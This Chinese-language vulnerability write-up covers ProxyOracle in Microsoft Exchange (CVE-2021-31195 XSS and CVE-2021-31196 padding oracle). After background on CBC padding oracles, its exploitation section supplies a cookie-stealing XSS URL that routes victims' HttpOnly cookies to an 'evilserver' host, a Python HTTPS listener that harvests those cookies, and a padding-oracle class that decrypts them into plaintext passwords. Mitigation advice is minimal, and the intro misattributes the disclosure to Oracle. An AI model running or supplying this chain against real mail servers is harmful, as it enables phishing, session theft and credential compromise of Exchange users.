ProxyOracle漏洞分析
NO.1 前言
2021年8月份,oracle又公开了代理漏洞ProxyOracle、ProxyShell。本文则分析ProxyOracle具体的一些攻击细节。
NO.2 漏洞分析
ProxyOracle包含两个漏洞:
· CVE-2021-31195 - 反射型XSS
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
· CVE-2021-31196 - 对Exchange Cookie的Padding Oracle 攻击
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196
漏洞利用链:攻击者构造恶意链接发送邮件给受害者并引诱受害者点击,受害者点击恶意链接后触发XSS漏洞将用户的Cookie发送至攻击者指定的地址,攻击者获取到Cookie后使用Padding Oracle攻击获取受害者的明文账号密码。
获取Exchange Cookie
通过ProxyLogon的学习可以知道,X-BEResource存在SSRF漏洞,但是在利用的时候存在一个缺陷,就是只能够访问FQDN地址,对于IP地址则请求无效。
但还有一个存在SSRF的字段。X-AnonResource-Backend; X-AnonResource可以请求任意地址,但只能够请求HTTPS请求。
在看orange演示视频时,他使用的监听端口是HTTP 8080,难道还有另一个SSRF?
Padding Oracle攻击
根据加解密时是否用同一组密钥,可以分为对称加密和非对称加密。对称加密中又存在流加密与分组加密两种加密方法。
常见的对称加密算法:DES,AES等,最常用的非对称加密算法:RSA。
对称加密中,常见的分组加密有六种工作模式(ECB、CBC、PCBC、CFB、OFB、CTR)。
在密码学中,分组加密(英语:Block cipher),又称分块加密或块密码,是一种对称密钥算法对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密。
加密时可以使用多种填充规则,但最常见的填充方式之一是在PKCS#5标准中定义的规则。PCKS#5的填充方式为:明文的最后一个数据块包含N个字节的填充数据(N取决于明文最后一块的数据长度)。下图是一些示例,展示了不同长度的单词(FIG、BANANA、AVOCADO、PLANTAIN、PASSIONFRUIT)以及它们使用PKCS#5填充后的结果(每个数据块为8字节长)。
每个字符串都会进行填充,至少一个,最多8个。
· 一个0x01(0x01)
· 两个0x02(0x02,0x02)
· 三个0x03(0x03,0x03,0x03)
· 四个0x04(0x04,0x04,0x04,0x04)
· ......
在分组加密中,CBC模式是密码分组链接模式。它的加解密工作流程如下:
· IV为一串与分块大小相同的随机值。除了第一块是随机生成的,后面的每一块IV都是前一块的密文
· Key为对称加密密钥
那么它的加密流程为:明文首先与IV进行异或,异或结果我们称之为中间值,中间值再与Key进行对称加密,这个结果就是密文,也是下一块的IV。
解密流程:密文与Key密钥进行解密得到中间值,中间值与IV进行异或便得到明文。
了解数据填充后,再说一下填充攻击。Padding Oracle需要两个必要条件:
· 密文的解密成功和失败,会出现不一样的响应结果
· 使用了CBC模式的加密模式
Padding Oracle攻击原理其实与暴力破解类似。在暴力破解中,我们可以通过"密码不正确"、"该用户没有访问权限"来判断暴力破解是否成功。
正常的程序流程应该为:程序将解密好的数据给后续的业务代码进行分析,判断该数据是否符合业务要求,比如说验证Cookie是否正确或者验证账号密码是否正确。这里其实有两个判断,第一个为判断解密是否成功,第二个是解密后的数据是否符合要求。在Padding Oracle中我们不需要考虑解密后的数据是否符合要求,我们只需要利用解密是否成功的不同返回来判断填充是否正确。
那么我们可以得到以下结论:
· 填充正确,解密正确,业务代码通过,返回200
· 填充不正确,解密不正确,业务代码不通过,返回500
· 填充正确,解密正确,业务代码不通过,返回200或300或其他与填充正确不一样的数据
Padding Oracle攻击通过填充是否正确的返回值判断是否解密成功,最终还原出明文。更详细的攻击就不过多说明。
反射型XSS攻击
https://exchange/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//
根据orange所说的,使用ProxyLogon并添加我们恶意服务器的地址,Exchange就会成为我们的代理并发送受保护的 HttpOnly cookie。
https://Exchange/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evilserver:443/2.php~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
NO.3 漏洞利用
Padding Oracle已经有成熟的攻击脚本了,我们只需要处理判断填充是否成功。由于SSRF只能发起HTTPS请求,所以需要器HTTPS服务进行监听。
开启HTTPS需要证书:
openssl x509 -req -days 1024 -in server.csr -signkey server.key -out server.crtopenssl req -newkey rsa:2048 -passout pass:123456 -keyout ca_rsa_private.pem -x509 -days 365 -out ca.crt -subj "/C=CN/ST=GD/L=SZ/O=COM/OU=NSP/CN=CA/emailAddress=youremail@qq.com"openssl req -newkey rsa:2048 -passout pass:server -keyout server_rsa_private.pem -out server.csr -subj "/C=CN/ST=GD/L=SZ/O=COM/OU=NSP/CN=SERVER/emailAddress=youremail@qq.com"openssl x509 -req -days 365 -in server.csr -CA ca.crt -CAkey ca_rsa_private.pem -passin pass:123456 -CAcreateserial -out server.crtopenssl rsa -in server_rsa_private.pem -out server_rsa_private.pem.unsecure
漏洞流程大致为:攻击者发送构造好的钓鱼邮件-->受害者点击钓鱼邮件-->触发XSS漏洞并添加Cookie跳转至攻击者监听的地址-->攻击者收到Exchange Cookies-->进行Padding Oracle攻击-->得到受害者明文
首先处理监听,接收HTTPS消息:
obsoleteSSL_context = requests.packages.urllib3.util.ssl_.create_urllib3_context(ciphers=ciphers)obsoleteSSL_context.check_hostname=FalseobsoleteSSL_context.verify_mode=ssl.CERT_NONE class ObsoleteHTTPSAdapter(HTTPAdapter): def init_poolmanager(self, connections, maxsize, block, **pool_kwargs): pool_kwargs['ssl_context'] = obsoleteSSL_context return super().init_poolmanager(connections, maxsize, block=block, **pool_kwargs) class HttpServer(): def __init__(self): self.context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # 加载服务器所用证书和私钥 self.context.load_cert_chain('server.crt', 'server_rsa_private.pem.unsecure') # 监听端口 print('Start monitoring 0.0.0.0:443......') with socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) as self.sock: self.sock.bind(('0.0.0.0', 443)) self.sock.listen(5) # 将socket打包成SSL socket,其主要工作是完成密钥协商 self.ssock = self.context.wrap_socket(self.sock, server_side=True) def start(self): while True: conn, addr = self.ssock.accept() try: msg = conn.recv(1024*8) self.cookie = self.get_cookie(msg) return self.cookie conn.close() except Exception as e: conn.close() print(e) def get_cookie(self, msg): msg = msg.decode() msg_list = msg.split('\r\n') cookie_list = [] for msg in msg_list: if msg.startswith("Cookie:"): cookies = msg[len("Cookie:"):] cookie = cookies.split(';') return cookie
成功登陆邮箱后,将cadata、cadataTTL、cadataKey、cadataIV、cadataSig添加为cookie后发送到上面监听的地址,接收到消息后传入开源PaddingOracle爆破脚本解密:
# Exploit Code class ProxyOracle(PaddingOracle): def __init__(self, **kwargs): super(ProxyOracle, self).__init__(**kwargs) self.session = requests.Session() if isObsoleteSSL: self.session.mount(exchange_host, ObsoleteHTTPSAdapter()) if useProxy: self.session.proxies = request_proxies self.cipherText = original_cookie def test_validity(self, resp): if resp.status_code == 302: reason_data = resp.headers['Location'] respurl = urlparse(reason_data) if respurl.path == "/owa/auth/logon.aspx": respqs = parse_qs(respurl.query) try: status = int(respqs['reason'][0]) #print(status) if status == 2: #print("fail") return 2 # Credential Error, Invalid Account Password if status == 0: return 1 # Padding Oracle, Padding Not Correct except KeyError: return 3 # Unknown Error, cannot determine success or not. else: return 0 # No Problem, Successfully logged in. else: return 3 # Unknown Error, cannot determine success or not. def oracle(self, data, **kwargs): # post-processing payload_data = base64.b64encode(data) # set correct cookie request_cookies['cadata'] = payload_data.decode() # asking for web resp = self.session.get(exchange_host + exchange_path, verify=False, allow_redirects=False, headers=request_headers, cookies=request_cookies) # check if plaintext is recovered chkstatus = self.test_validity(resp) if chkstatus == 2: #logging.info("[Triggered - Byte Found] Credential Error, Invalid Account Password") return elif chkstatus == 1: raise BadPaddingException elif chkstatus == 0: self.history.append(data) #logging.info("[Triggered - Byte Found] Padding Oracle Found: {} ", data) return else: #logging.error("Unknown Error, cannot determine success or not.") sys.exit(1)
NO.4 缓解措施
1.更新最新补丁
2.不轻易点击未知文件或链接
NO.5 参考
https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
https://hosch3n.github.io/2021/08/23/ProxyOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://hosch3n.github.io/2021/08/10/PaddingOracle%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86/
https://github.com/mpgn/Padding-oracle-attack
https://www.mi1k7ea.com/2020/09/17/%E6%B5%85%E6%9E%90CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB%E4%B8%8EPadding-Oracle-Attack/#%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86
https://github.com/mwielgoszewski/python-paddingoracle
http://blog.topsec.com.cn/padding-oracle%E5%8E%9F%E7%90%86%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90/
http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html
